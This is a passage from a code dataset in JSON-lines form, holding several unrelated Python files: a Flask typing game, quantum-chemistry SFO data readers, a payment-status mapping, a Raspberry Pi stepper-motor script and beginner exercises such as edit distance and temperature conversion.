'XYU', 'XYO','XE', 'XTU', '')]\n print(alphabets)\n return ' '.join(alphabets)\n\n alphabets = translate_kana2alphabet(name)\n\n return render_template('index.html', id=id, img_url=img_url, name=name, alphabets=alphabets, mistake=mistake)\n\n@app.route(\"/check\", methods=['POST'])\ndef cehck():\n print(request.form.get('input'))\n input = request.form.get('input').replace(' ', '')\n name = request.form.get('alphabets').replace(' ', '')\n id = request.form.get('id')\n\n if input.lower() == name.lower():\n new_id = \"{:03d}\".format(random.randint(1, MONSTER_NO_MAX))\n return show(new_id)\n else:\n return show(id, mistake=True)\n\n@app.route(\"/search\")\ndef search():\n return render_template('search.html')\n\n@app.route(\"/test\")\ndef test():\n return render_template('test.html')\n\nif __name__ == \"__main__\":\n #app.run(debug=True, host=\"0.0.0.0\", port=int(os.environ.get(\"PORT\", 8080)))\n app.run(debug=True)","repo_name":"shuuuuua/typing_monsters","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4433,"program_lang":"python","lang":"fa","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"27600229294","text":"\"\"\"\r\nModule containing functions for extracting SFO data from the rkf files of fragment analysis calculations.\r\nThe following terms can be extracted form the rkf files:\r\n- Overlap (in a.u.)\r\n- Orbital Energy (in eV)\r\n- Occupation (in a.u.)\r\n- Gross Populations (in a.u.)\r\n\r\nBEFORE READING FURTHER: please read the following section about the format of the rkf files:\r\nhttps://www.scm.com/doc/ADF/Appendices/TAPE21.html\r\n\r\nImportant sections together with associated variables are (format: (\"section\", \"variable\")):\r\n- \"Symmetry\", \"ncbs\" = Number of frozen cores per irrep of the complex calculation (could not find a better alternative for Fragment calculations)\r\n- \"SFOs\", \"fragment\" = Fragment index of the ACTIVE* SFOs\r\n- \"SFOs\", \"subspecies\" = Symmetry labels of each ACTIVE SFO (e.g. 1: \"A1\", 2: \"A1\", 3: \"A2\", 4: \"A2\", ...)\r\n- \"SFOs\", \"occupation\" = Occupations of the ACTIVE SFOs\r\n- \"SFOs\", \"escale\" = Orbital energies of ACTIVE SFOs in Ha (relativistic effects are taken into account)\r\n- \"SFOs\", \"energy\" = Orbital energies of ACTIVE SFOs in Ha (relativistic effects are NOT taken into account)\r\n- \"SFO popul\", \"sfo_grosspop\" = Gross populations of the SFOs (FROZEN SFOS INCLUDED!)\r\n\r\nthat can be viewed in the KF Browser of AMS (open a \"adf.rkf\" file and press \"ctrl + E\" on Windows or \"cmd + E\" on Mac).\r\n* Active SFOs are SFOs that are not frozen cores.\r\n\"\"\"\r\nfrom __future__ import annotations\r\n\r\nfrom typing import Callable, Sequence\r\n\r\nimport numpy as np\r\nfrom scm.plams import KFFile\r\n\r\nfrom orb_analysis.custom_types import Array1D, UnrestrictedPropertyDict, SpinTypes\r\n\r\n# --------------------Helper Function(s)-------------------- #\r\n\r\n\r\ndef split_1d_array_into_dict_sorted_by_irreps(data_array: Array1D, irreps: Sequence[str], ) -> dict[str, Array1D]:\r\n \"\"\"\r\n Splits a 1D array into a dictionary of arrays based on the irreps. The irreps are the keys of the dictionary.\r\n data_array and irreps must have the same length.\r\n \"\"\"\r\n n_entries_per_irrep = [irreps.count(irrep) for irrep in set(irreps)]\r\n data_ordered_by_irrep = {irrep: np.zeros(n_entries) for irrep, n_entries in zip(set(irreps), n_entries_per_irrep)}\r\n\r\n # Now we loop over the irreps and add the data to the right array\r\n irrep_counter = {irrep: 0 for irrep in set(irreps)}\r\n for data_entry, irrep in zip(data_array, irreps):\r\n data_ordered_by_irrep[irrep][irrep_counter[irrep]] = data_entry\r\n irrep_counter[irrep] += 1\r\n return data_ordered_by_irrep\r\n\r\n\r\n# -------------------Low-level KF reading -------------------- #\r\n\r\ndef get_frag_name(kf_file: KFFile, frag_index: int) -> str:\r\n \"\"\" Returns the name of the fragment. \"\"\"\r\n frag_name_per_sfo = kf_file.read(\"SFOs\", \"fragtype\").split() # type: ignore\r\n frag_names = list(dict.fromkeys(frag_name_per_sfo))\r\n return frag_names[frag_index - 1]\r\n\r\n\r\ndef uses_symmetry(kf_file: KFFile) -> bool:\r\n \"\"\" Returns True if the complex calculation uses symmetry for its MOs and other parts such as gross populations and overlap. \"\"\"\r\n grouplabel: str = kf_file.read(\"Symmetry\", \"grouplabel\").split()[0] # type: ignore\r\n return grouplabel.lower() != \"nosym\"\r\n\r\n\r\ndef get_total_number_sfos(kf_file: KFFile) -> int:\r\n \"\"\" Returns the total number of *active* SFOs (frozen core SFOs excluded), which is the sum of the SFOs of both fragments. \"\"\"\r\n n_active_sfos = int(kf_file.read(\"SFOs\", \"number\")) # type: ignore\r\n return n_active_sfos\r\n\r\n\r\ndef get_sfo_indices_of_one_frag(kf_file: KFFile, frag_index: int) -> Sequence[int]:\r\n \"\"\" Returns the indices of *active* SFOs belonging to one fragment. \"\"\"\r\n sfo_frag_indices = list(kf_file.read(\"SFOs\", \"fragment\", return_as_list=True)) # type: ignore\r\n sfo_frag_indices = [i for i, sfo_frag_index in enumerate(sfo_frag_indices) if sfo_frag_index == frag_index]\r\n return sfo_frag_indices\r\n\r\n\r\ndef get_irrep_each_sfo_one_frag(kf_file: KFFile, frag_index: int) -> Sequence[str]:\r\n sfo_indices_one_frag = get_sfo_indices_of_one_frag(kf_file, frag_index=frag_index)\r\n frag_symlabels_each_sfo = list(kf_file.read(\"SFOs\", \"subspecies\").split()) # type: ignore\r\n frag_symlabels_each_sfo = [frag_symlabels_each_sfo[i] for i in sfo_indices_one_frag]\r\n return frag_symlabels_each_sfo\r\n\r\n\r\ndef get_ordered_irreps_of_one_frag(kf_file: KFFile, frag_index: int) -> list[str]:\r\n \"\"\" Returns the ordered irreps of *active* SFOs (frozen core SFOs excluded) belonging to one fragment. \"\"\"\r\n sfo_frag_indices = get_sfo_indices_of_one_frag(kf_file, frag_index=frag_index)\r\n all_sfo_irreps: list[str] = kf_file.read(\"SFOs\", \"subspecies\", return_as_list=True).split() # type: ignore\r\n sfo_irreps_of_one_frag = list(dict.fromkeys([all_sfo_irreps[i] for i in sfo_frag_indices]))\r\n return sfo_irreps_of_one_frag\r\n\r\n\r\ndef get_number_sfos_per_irrep_per_frag(kf_file: KFFile, frag_index: int) -> dict[str, int]:\r\n \"\"\" Returns the number of *active* SFOs of each irrep (frozen core SFOs excluded) belonging to one fragment. \"\"\"\r\n sfo_irreps = get_irrep_each_sfo_one_frag(kf_file, frag_index=frag_index)\r\n sfo_irrep_sum = {irrep: sfo_irreps.count(irrep) for irrep in set(sfo_irreps)}\r\n return sfo_irrep_sum\r\n\r\n\r\n# --------------------Frozen Core Handling-------------------- #\r\n\r\ndef get_frozen_cores_per_irrep(kf_file: KFFile, frag_index: int) -> dict[str, int]:\r\n \"\"\"\r\n Reads the number of frozen cores per irrep from the KFFile.\r\n\r\n The number of frozen cores per irrep is important for getting gross populations and overlap analysis.\r\n Basically, the SFO index shown in AMSLevels is different than the index shown in the overlap and population analysis because they can be shifted by frozen cores.\r\n\r\n Moreover, if the complex calculation uses symmetry, but the fragments themselves do not, then the \"A\" irrep is added, being the sum of all frozen cores.\r\n\r\n In case there is no frozen core and no symmetry, but the fragments use symmetry, then the frozen core is 0 for all irreps that are present in the fragments.\r\n \"\"\"\r\n ordered_frag_irreps = get_ordered_irreps_of_one_frag(kf_file, frag_index=frag_index)\r\n n_core_orbs_per_irrep: list[int] = kf_file.read(\"Symmetry\", \"ncbs\", return_as_list=True) # type: ignore since n_core_orbs is a list of ints\r\n\r\n frozen_core_per_irrep = {irrep: n_frozen_cores for irrep, n_frozen_cores in zip(ordered_frag_irreps, n_core_orbs_per_irrep)} # type: ignore\r\n\r\n # Add the \"A\" irrep to the dictionary for the case when symmetry is not used (e.g. NoSym), but the fragments themselves use symmetry.\r\n # This is only used for the overlap analysis.\r\n if not uses_symmetry(kf_file):\r\n frozen_core_per_irrep[\"A\"] = sum(n_core_orbs_per_irrep)\r\n return frozen_core_per_irrep\r\n\r\n\r\n# --------------------Restricted Property Function(s)-------------------- #\r\n\r\ndef get_orbital_energies(kf_file: KFFile, spin: str = SpinTypes.A) -> Array1D[np.float64]:\r\n \"\"\" Reads the orbital energies from the KFFile. \"\"\"\r\n # escale refers energies scaled by relativistic effects (ZORA). If no relativistic effects are present, \"energy\" is the appropriate key.\r\n variable = \"escale\" if (\"SFOs\", \"escale\") in kf_file else \"energy\"\r\n\r\n # It is either \"escale\" or \"escale_B\", apparently there is no \"escale_A\" key (same for \"energy\")\r\n if spin == SpinTypes.B and (\"SFOs\", f\"{variable}_{SpinTypes.B}\") in kf_file:\r\n variable = f\"{variable}_{SpinTypes.B}\"\r\n\r\n # Reads the orbital energies for both fragments and selects the data for the current fragment\r\n orb_energies = np.array(kf_file.read(\"SFOs\", variable)) # type: ignore\r\n\r\n return orb_energies\r\n\r\n\r\ndef get_occupations(kf_file: KFFile, spin: str = SpinTypes.A) -> Array1D[np.float64]:\r\n \"\"\" Reads the occupations from the KFFile. \"\"\"\r\n # It is either \"occupation\" or \"occupation_B\", apparently there is no \"occupation_A\" key\r\n occupation_key = f\"occupation_{SpinTypes.B}\" if spin == SpinTypes.B and (\"SFOs\", f\"occupation_{SpinTypes.B}\") in kf_file else \"occupation\"\r\n occupations = np.array(kf_file.read(\"SFOs\", occupation_key)) # type: ignore\r\n\r\n return occupations\r\n\r\n\r\n# --------------------Unrestricted Property Function(s)-------------------- #\r\n\r\n\r\n# --------------------Property to Function Mapping-------------------- #\r\n\r\n\r\n# Format: {property: (callable function for reading property, section in KFFile, variable in KFFile)}\r\nRESTRICTED_KEY_FUNC_MAPPING: dict[str, Callable] = {\r\n \"orb_energies\": get_orbital_energies,\r\n \"occupations\": get_occupations,\r\n}\r\n\r\n# --------------------Interface Function(s)-------------------- #\r\n\r\n\r\ndef get_fragment_properties(kf_file: KFFile, frag_index: int) -> UnrestrictedPropertyDict:\r\n \"\"\"\r\n Returns a dictionary of dictionaries with the properties of the fragments.\r\n\r\n The properties are:\r\n - Orbital Energies\r\n - Occupations\r\n\r\n Output format:\r\n {\r\n spin (\"A\"/\"B\"): {\r\n property (\"orb_energies\" / occupations): {\r\n irrep (e.g., \"A1\", \"B2\", \"E1:1\"): [data]\r\n }\r\n\r\n Note: this will produce double the amount of data when restricted fragments are used because the spin key is not needed for restricted fragments.\r\n Currently, the \"B\" spin is discarded for restricted calcs in the `create_fragment_data` function.\r\n \"\"\"\r\n sfo_indices_of_one_frag = get_sfo_indices_of_one_frag(kf_file, frag_index)\r\n frag_irreps_each_sfo = get_irrep_each_sfo_one_frag(kf_file, frag_index)\r\n\r\n data_dic_to_be_unpacked = {property: {str(spin): {} for spin in SpinTypes} for property in RESTRICTED_KEY_FUNC_MAPPING}\r\n\r\n for property, func in RESTRICTED_KEY_FUNC_MAPPING.items():\r\n\r\n for spin in SpinTypes:\r\n\r\n data = func(kf_file, spin=spin)\r\n\r\n data = np.array([data[i] for i in sfo_indices_of_one_frag])\r\n\r\n # Now we turn one long array into a dictionary of arrays sorted by irreps (e.g. [.....] -> {\"A1\": [.....], \"A2\": [.....]})\r\n data_dic_to_be_unpacked[property][spin] = split_1d_array_into_dict_sorted_by_irreps(data_array=data, irreps=frag_irreps_each_sfo)\r\n\r\n return data_dic_to_be_unpacked\r\n\r\n\r\ndef get_gross_populations(kf_file: KFFile, frag_index: int = 1) -> dict[str, dict[str, Array1D[np.float64]]]:\r\n \"\"\"\r\n Reads the gross populations from the KFFile by taking into account the frozen cores.\r\n Annoyingly, the \"SFOs\" sections contains the SFOs of both fragments that ALREADY HAVE BEEN FILTERED for the frozen cores.\r\n For example, the SFOs number may be 114, but the gross population array may have 148 entries. This is because the first 34 entries are the frozen cores.\r\n\r\n Structure of the (\"SFOs popul\",\"sfo_grosspop\") section for a restricted calculation with c3v symmetry:\r\n [n Frozen Cores A1, Active SFOs Frag1 A1, Active SFOs Frag2 A1, n Frozen Cores A2, Active SFOs Frag1 A2, Active SFOs Frag2 A2, ...]\r\n\r\n Therefore, the sum of `sfo_indices_of_one_frag` and `n_frozen_cores_per_irrep` is used to get the correct indices for SFOs on both fragments and all irreps.\r\n\r\n Output format:\r\n {\r\n spin (\"A\"/\"B\"): {\r\n irrep (e.g., \"A1\", \"B2\", \"E1:1\"): [data]\r\n }\r\n \"\"\"\r\n symmetry_used = uses_symmetry(kf_file)\r\n frags_sfo_irrep_sums = [get_number_sfos_per_irrep_per_frag(kf_file, frag_index=frag_index) for frag_index in [1, 2]]\r\n\r\n ordered_irreps = get_ordered_irreps_of_one_frag(kf_file, frag_index=frag_index)\r\n frozen_core_per_irrep = get_frozen_cores_per_irrep(kf_file, frag_index=frag_index)\r\n\r\n raw_gross_pop_all_sfos = np.array(kf_file.read(\"SFO popul\", \"sfo_grosspop\"))\r\n\r\n if not symmetry_used:\r\n start_index = sum(frozen_core_per_irrep.values())\r\n total_sfo_sum_frag1 = sum(frags_sfo_irrep_sums[0][irrep] for irrep in frags_sfo_irrep_sums[0])\r\n total_sfo_sum_frag2 = sum(frags_sfo_irrep_sums[1][irrep] for irrep in frags_sfo_irrep_sums[1])\r\n total_sfo_for_one_spin = total_sfo_sum_frag1 + total_sfo_sum_frag2 + start_index\r\n\r\n if frag_index == 1:\r\n return {\r\n SpinTypes.A: {\"A\": raw_gross_pop_all_sfos[start_index: start_index + total_sfo_sum_frag1]},\r\n SpinTypes.B: {\"A\": raw_gross_pop_all_sfos[total_sfo_for_one_spin:total_sfo_for_one_spin + total_sfo_sum_frag1]}\r\n }\r\n\r\n return {\r\n SpinTypes.A: {\"A\": raw_gross_pop_all_sfos[start_index + total_sfo_sum_frag1: start_index + total_sfo_sum_frag1 + total_sfo_sum_frag2]},\r\n SpinTypes.B: {\"A\": raw_gross_pop_all_sfos[total_sfo_for_one_spin + total_sfo_sum_frag1: total_sfo_for_one_spin + total_sfo_sum_frag1 + total_sfo_sum_frag2]}\r\n }\r\n\r\n gross_pop_active_sfos = {str(spin): {irrep: np.zeros_like(frags_sfo_irrep_sums[frag_index-1][irrep], dtype=np.float64) for irrep in frags_sfo_irrep_sums[frag_index - 1]} for spin in SpinTypes}\r\n\r\n # only works if frag1 and frag2 have the same irreps and thus belong to the same point group\r\n for spin in SpinTypes:\r\n raw_gross_pop_index = 0 if spin == SpinTypes.A else get_total_number_sfos(kf_file) + sum(frozen_core_per_irrep.values())\r\n for irrep in ordered_irreps:\r\n n_frozen_cores = frozen_core_per_irrep.get(irrep, 0)\r\n n_sfos_frag1 = frags_sfo_irrep_sums[0][irrep]\r\n n_sfos_frag2 = frags_sfo_irrep_sums[1][irrep]\r\n start_irrep_index = raw_gross_pop_index + n_frozen_cores\r\n\r\n if frag_index == 1:\r\n end_irrep_index = start_irrep_index + n_sfos_frag1\r\n else:\r\n start_irrep_index += n_sfos_frag1\r\n end_irrep_index = start_irrep_index + n_sfos_frag2\r\n\r\n gross_pop_active_sfos[spin][irrep] = raw_gross_pop_all_sfos[start_irrep_index: end_irrep_index]\r\n\r\n raw_gross_pop_index += sum(frags_sfo_irrep_sums[frag_i][irrep] for frag_i in [0, 1]) + n_frozen_cores\r\n\r\n return gross_pop_active_sfos\r\n\r\n\r\n# def main():\r\n# import pathlib as pl\r\n\r\n# current_dir = pl.Path(__file__).parent\r\n# rkf_dir = current_dir.parent.parent.parent / \"test\" / \"fixtures\" / \"rkfs\"\r\n# # rkf_file = 'restricted_largecore_differentfragsym_c4v_full.adf.rkf'\r\n# rkf_file = 'unrestricted_largecore_fragsym_c3v_full.adf.rkf'\r\n# kf_file = KFFile(str(rkf_dir / rkf_file))\r\n\r\n # print(get_orbital_energies(kf_file))\r\n\r\n # print(get_occupations(kf_file))\r\n # print(get_number_sfos_per_irrep_per_frag(kf_file, frag_index=1))\r\n # print(get_frag_name(kf_file, frag_index=2))\r\n # data = get_fragment_properties(kf_file, frag_index=1)\r\n # pprint(data)\r\n # grospop = get_gross_populations(kf_file, frag_index=1)\r\n # print(grospop)\r\n\r\n\r\n# if __name__ == \"__main__\":\r\n# main()\r\n","repo_name":"SiebeLeDe/orbitals","sub_path":"src/orb_analysis/orb_functions/sfo_functions.py","file_name":"sfo_functions.py","file_ext":"py","file_size_in_byte":14669,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"10096853824","text":"import bots.transform as transform\n\n\ndef main(inn, out):\n\n # Get the original payment id from the original message Id\n original_message_id = inn.get(\n {'BOTSID': 'Document'},\n {'BOTSID': 'CstmrPmtStsRpt'},\n {'BOTSID': 'OrgnlGrpInfAndSts', 'OrgnlMsgId': None})\n\n # transform.persist_add_update('message_lookup', 'MG12', 'USA65')\n # transform.persist_add_update('message_lookup', 'MG13', 'USA92')\n\n original_payment_id = transform.persist_lookup(\n 'message_lookup', original_message_id)\n\n group_status = inn.get({'BOTSID': 'Document'},\n {'BOTSID': 'CstmrPmtStsRpt'},\n {'BOTSID': 'OrgnlGrpInfAndSts', 'GrpSts': None})\n out.data.header = {\n 'payment_identifier': original_payment_id or original_message_id,\n 'transaction_count': inn.get({'BOTSID': 'Document'},\n {'BOTSID': 'CstmrPmtStsRpt'},\n {'BOTSID': 'OrgnlGrpInfAndSts',\n 'OrgnlNbOfTxs': None}),\n\n 'status': transform.ccode('Payment Status', group_status, safe=True)\n }\n\n out.data.lines = []\n for pmt_inf in inn.getloop({'BOTSID': 'Document'},\n {'BOTSID': 'CstmrPmtStsRpt'},\n {'BOTSID': 'OrgnlPmtInfAndSts'}):\n\n for txn_inf in pmt_inf.getloop({'BOTSID': 'OrgnlPmtInfAndSts'},\n {'BOTSID': 'TxInfAndSts'}):\n\n status = txn_inf.get({'BOTSID': 'TxInfAndSts', 'TxSts': None})\n additional_status = txn_inf.get({'BOTSID': 'TxInfAndSts'},\n {'BOTSID': 'StsRsnInf'},\n {'BOTSID': 'Rsn', 'Cd': None})\n out.data.lines.append({\n 'endtoend_identifier': txn_inf.get({'BOTSID': 'TxInfAndSts',\n 'OrgnlEndToEndId': None}),\n 'status_identifier': txn_inf.get({'BOTSID': 'TxInfAndSts',\n 'StsId': None}),\n 'status': transform.ccode('Payment Status', status),\n 'additional_status_code': transform.ccode(\n 'Additional Payment Status', additional_status, safe=True),\n 'additional_status_text': txn_inf.get({'BOTSID': 'TxInfAndSts'},\n {'BOTSID': 'StsRsnInf',\n 'AddtlInf': None})\n })\n","repo_name":"abhishek-ram/watg-bots","sub_path":"usersys/mappings/xml/payment_status_xml2html.py","file_name":"payment_status_xml2html.py","file_ext":"py","file_size_in_byte":2582,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"33637073493","text":"#Embedded file name: c:/depot/games/branches/release/EVE-TRANQUILITY/carbon/common/script/entities/Spawners/actionProcSpawner.py\nimport GameWorld\nimport cef\n\nclass ActionProcSpawner(cef.RuntimeSpawner):\n __guid__ = 'cef.ActionProcSpawner'\n\n def __init__(self, entitySceneID, dynamicSpawnID, recipeTypeID, posProp, rotProp):\n position = GameWorld.GetPropertyForCurrentPythonProc(posProp)\n rotation = GameWorld.GetPropertyForCurrentPythonProc(rotProp)\n cef.RuntimeSpawner.__init__(self, entitySceneID, dynamicSpawnID, recipeTypeID, position, rotation)","repo_name":"alexcmd/eve","sub_path":"eve-8.21.494548/carbon/common/script/entities/Spawners/actionProcSpawner.py","file_name":"actionProcSpawner.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"32"} +{"seq_id":"13633370003","text":"class Solution:\n # opt[m][n] is the minimum edit distance required for word1[:m+1] and word2[:n+1]\n # if word1[m] == word2[n]: opt[m][n] = opt[m-1][n-1]\n # else:\n # 1: replace a character opt[m][n] = opt[m-1][n-1] + 1\n # 2: delete a character from word1 opt[m][n] = opt[m-1][n] + 1\n # 3: insert a charcter to word1 opt[m][n] = opt[m][n-1] + 1\n # opt[m][n] = minimum of above 3 cases.\n # Since we add a padding for opt, when we consider the solution at position (m,n)\n # We are checking the char of word1[m-1] and word2[n-1]\n # null h o r s e\n # null 0 1 2 3 4 5\n # r 1 N N N N N\n # o 2 N N N N N\n # s 3 N N N N N\n def minDistance(self, word1: str, word2: str) -> int:\n self.word1=word1\n self.word2=word2\n self.opt=[[None]*(len(word2)+1) for i in range(len(word1)+1)]\n for i in range(len(word2)+1):\n self.opt[0][i] = i\n for i in range(len(word1)+1):\n self.opt[i][0] = i\n return self.helper(len(word1),len(word2))\n\n \n def helper(self,m,n):\n if self.opt[m][n] is not None:\n return self.opt[m][n]\n if self.word1[m-1] == self.word2[n-1]:\n self.opt[m][n]=self.helper(m-1,n-1)\n else:\n self.opt[m][n]=min(self.helper(m-1,n-1)+1,self.helper(m,n-1)+1,self.helper(m-1,n)+1)\n return self.opt[m][n]\n \n \n ","repo_name":"ruifan831/leetCodeRecord","sub_path":"72_Edit_Distance.py","file_name":"72_Edit_Distance.py","file_ext":"py","file_size_in_byte":1530,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"5716751029","text":"# -*- coding: utf-8 -*-\n# @Time : 2021/8/10 21:39 下午\n# @Author : HanChen\n# @File : 7_8.py\n# @Software: Sublime Text\n\n# ------------------ example01 ------------------\n\"\"\"\n7-8 熟食店:创建一个名为 sandwich_orders 的列表,在其中包含各种三明治的名字;再创建一个名为 finished_sandwiches 的空列表。\n 遍历列表 sandwich_orders,对于其中的每种三明治,都打印一条消息,如 I made your tuna sandwich,并将其移到列表finished_sandwiches。\n 所有三明治都制作好后,打印一条消息,将这些三明治列出来。\n\"\"\"\nsandwich_orders = ['veggie', 'grilled cheese', 'turkey', 'roast beef']\nfinished_sandwiches = []\n\nwhile sandwich_orders:\n current_sandwich = sandwich_orders.pop()\n print(\"I'm working on your \" + current_sandwich + \" sandwich.\")\n finished_sandwiches.append(current_sandwich)\n\nprint(\"\\n\")\nfor sandwich in finished_sandwiches:\n print(\"I made a \" + sandwich + \" sandwich.\")\n# ------------------ example01 ------------------\n","repo_name":"HanChen1988/PythonStudy","sub_path":"Book/BookNo001/Chapter_07/python_work/7_8.py","file_name":"7_8.py","file_ext":"py","file_size_in_byte":1030,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"35530260348","text":"#!/usr/bin/python\n\n##--Michael duPont (flyinactor91.com)\n##--Turns a stepper motor based on the current gear setting. Higher gear means faster motor\n\nimport RPi.GPIO as GPIO\nimport time\n\nsevenseg = False\n\nif sevenseg:\n\tfrom Adafruit_7Segment import SevenSegment\n\tsegment = SevenSegment(address=0x70)\n\nGPIO.setmode(GPIO.BCM)\n\n#Setup Buttons\nstepUpPin = 25\nstepDownPin = 18\nGPIO.setup(stepUpPin , GPIO.IN)\nGPIO.setup(stepDownPin , GPIO.IN)\n\n#Display Function\ndef setNumber(value):\n\tif value < 0: segment.setColon(True)\n\telse: segment.setColon(False)\n\tsegment.writeDigit(0 , (abs(value) / 1000)%10)\n\tsegment.writeDigit(1 , (abs(value) / 100)%10)\n\tsegment.writeDigit(3 , (abs(value) / 10)%10)\n\tsegment.writeDigit(4 , abs(value) % 10)\n\ndelay = [0,20,17,14,12,10,8,7,6,5,4,3,2] #milliseconds\ngear , count = 0 , 0\nupdate = True\n\n#Main Loop\nwhile True:\n\tif (GPIO.input(stepUpPin) == False) and (GPIO.input(stepDownPin) == True):\n\t\tif gear < 12 and count == 15:\n\t\t\tgear += 1\n\t\t\tcount = 0\n\t\t\tupdate = True\n\telif (GPIO.input(stepDownPin) == False) and (GPIO.input(stepUpPin) == True):\n\t\tif gear > -12 and count == 15:\n\t\t\tgear = gear - 1\n\t\t\tcount = 0\n\t\t\tupdate = True\n\telif (GPIO.input(stepUpPin) == False) and (GPIO.input(stepDownPin) == False):\n\t\tgear , count = 0 , 0\n\t\tupdate = True\n\tif count < 15: count += 1\n\t#print gear\n\tif sevenseg and update:\n\t\tsetNumber(gear)\n\t\tupdate = False\n\tif gear > 0: forward(int(delay[gear]) / 1000.0, 1)\n\telif gear < 0: backwards(int(delay[abs(gear)]) / 1000.0, 1)\n\telse: time.sleep(0.1)\n","repo_name":"flyinactor91/Raspi-Hardware","sub_path":"Motors/StepSpeed.py","file_name":"StepSpeed.py","file_ext":"py","file_size_in_byte":1511,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"43053800299","text":"import sys\r\nimport json\r\n\r\ndef main():\r\n path = sys.argv[1]\r\n with open(path, \"r\", encoding=\"utf-8\") as fp:\r\n color_dict = json.load(fp)\r\n new_dict_arr = []\r\n for i, key in enumerate(color_dict):\r\n new_elem = {\r\n \"name\": key,\r\n \"color\": color_dict[key],\r\n \"sort_val\": i,\r\n \"is_active\": True\r\n }\r\n new_dict_arr.append(new_elem)\r\n with open(sys.argv[2], 'w', encoding=\"utf-8\") as fp:\r\n json.dump(new_dict_arr, fp, ensure_ascii=False, indent=4)\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"R-Imai/dailyProgress-calculation","sub_path":"tools/color_config_update.py","file_name":"color_config_update.py","file_ext":"py","file_size_in_byte":579,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"8715315456","text":"# 1. Set the variable `given_name` to the string \"Addison\".\ngiven_name = \"Addison\"\n\n# ------------------------------------------------------------------------------\n# 2. You have 20 candies that you must divide equally among 6 people. How many candies will be left over?\n# Set variables for `candies`, `people`, `left_over` to make your tests pass.\ncandies = 20\npeople = 6\nleft_over = candies % people\n\n# ------------------------------------------------------------------------------\n# 3. Create a function called `greeting` that returns \"Hello, !\",\n# where is the name given as an argument to the function.\ndef greeting(name):\n return f\"Hello, {name}!\"\n\n\n# ------------------------------------------------------------------------------\n# 4. Create a function called `is_odd` that, given a number, will\n# return true if the number is odd and false if it is not. An odd number is a\n# number which, when divided by 2, has a remainder of 1 or -1.\n\n# USING TRY/EXCEPT (I'm still trying to wrap my head around\n# try/except, even after getting this to work!):\ndef is_odd(number):\n output = False\n try:\n output = number % 2 == 1 or number % 2 == -1\n except TypeError:\n print(\"Does not compute\")\n return output\n\n# USING IF/ELSE:\n# def is_odd(number):\n# if number % 2 == 1 or number % 2 == -1:\n# return True\n# else:\n# return False\n\n# ------------------------------------------------------------------------------\n# 5. Create a function called `is_even` that, given a number, will\n# return true if the number is even and false if it is not. An even number is a\n# number which, when divided by 2, has a remainder of 0.\ndef is_even(number):\n #USING IS_ODD\n # return bool((not is_odd(number)) and (type(number) is int) and (number is not 0))\n\n # USING IF/ELSE:\n if number % 2 == 0:\n return True\n else:\n return False\n\n\n\n# ------------------------------------------------------------------------------\n# 6. Create a function called `fahrenheit_to_celsius` that takes a\n# Fahrenheit temperature as an argument and returns the\n# temperature in Celsius.\ndef fahrenheit_to_celsius(fahrenheit):\n celsius = (fahrenheit - 32) * 0.5556\n return int(celsius)\n\n# ------------------------------------------------------------------------------\n# 7. Create a function called `celsius_to_fahrenheit` that takes a\n# Celsius temperature as an argument and returns the\n# temperature in Fahrenheit.\ndef celsius_to_fahrenheit(celsius):\n fahrenheit = (celsius*1.8000) + 32\n return fahrenheit\n\n\n# ------------------------------------------------------------------------------\n# 8. Create a function called `fahrenheit_to_kelvin` that takes a\n# Fahrenheit temperature as an argument and returns the\n# temperature in Kelvin. This function must use your previous\n# fahrenheit_to_celsius function.\n# Absolute zero (0 K) is equivalent to −273.15 C.\n# 1 degree Kelvin equals 1 degree Celsius.\ndef fahrenheit_to_kelvin(fahrenheit):\n kelvin = fahrenheit_to_celsius(fahrenheit) + 273.15\n return kelvin\n\n# ------------------------------------------------------------------------------\n# 9. Create a function called `lesser` that takes two numbers as\n# arguments and returns the lesser of them. This function should\n# use an if/else statement.\ndef lesser(num1, num2):\n if num1 < num2:\n return num1\n elif num1 > num2:\n return num2\n else:\n return \"num1 and num2 are equal.\"\n\n\n# ------------------------------------------------------------------------------\n# 10. Create a function called `multigreeting` that takes a name\n# and a language code and returns a version of \"Hello, !\"\n# in the specified language. The supported languages and their\n# translations are below.\n#\n# en - Hello, !\n# es - ¡Hola, !\n# fr - Bonjour, !\n# eo - Saluton, !\n#\n# If any other language code is used, return nothing.\ndef multigreeting(name, language):\n # DICTIONARY\n try:\n multilanguage_greeting_dict = {\n \"en\": f\"Hello, {name}!\",\n \"es\": f\"¡Hola, {name}!\",\n \"fr\": f\"Bonjour, {name}!\",\n \"eo\": f\"Saluton, {name}!\"\n }\n return multilanguage_greeting_dict[language]\n except:\n return\n \n #NO DICTIONARY\n # if language == \"en\":\n # return \"Hello, \" + name + \"!\"\n # elif language == \"es\":\n # return \"¡Hola, \" + name + \"!\"\n # elif language == \"fr\":\n # return \"Bonjour, \" + name + \"!\"\n # elif language == \"eo\":\n # return \"Saluton, \" + name + \"!\"\n # else:\n # return\n\n# ------------------------------------------------------------------------------\n# 11. The greatest common divisor (https://en.wikipedia.org/wiki/Greatest_common_divisor)\n# is the largest integer that, given two other integers, can be divided into them. For\n# example, the greatest common divisor of 24 and 81 is 3. The greatest common divisor of\n# 10 and 25 is 5.\n#\n# One method of calculating the greatest common divisor is the \"binary GCD algorithm.\"\n# (https://en.wikipedia.org/wiki/Greatest_common_divisor#Binary_GCD_algorithm)\n# It can be written out like the following:\n#\n# Input: a, b positive integers\n# Output: The greatest common divisor, which is g * 2**d\n# d = 0\n# while a and b are both even\n# a = a/2\n# b = b/2\n# d = d + 1\n# while a != b\n# if a is even then a = a/2\n# else if b is even then b = b/2\n# else if a > b then a = (a – b)/2\n# else b = (b – a)/2\n# g = a\n# output g * 2**d\n\n\n# Write a function called `gcd` that takes two arguments and returns the greatest\n# common divisor using the 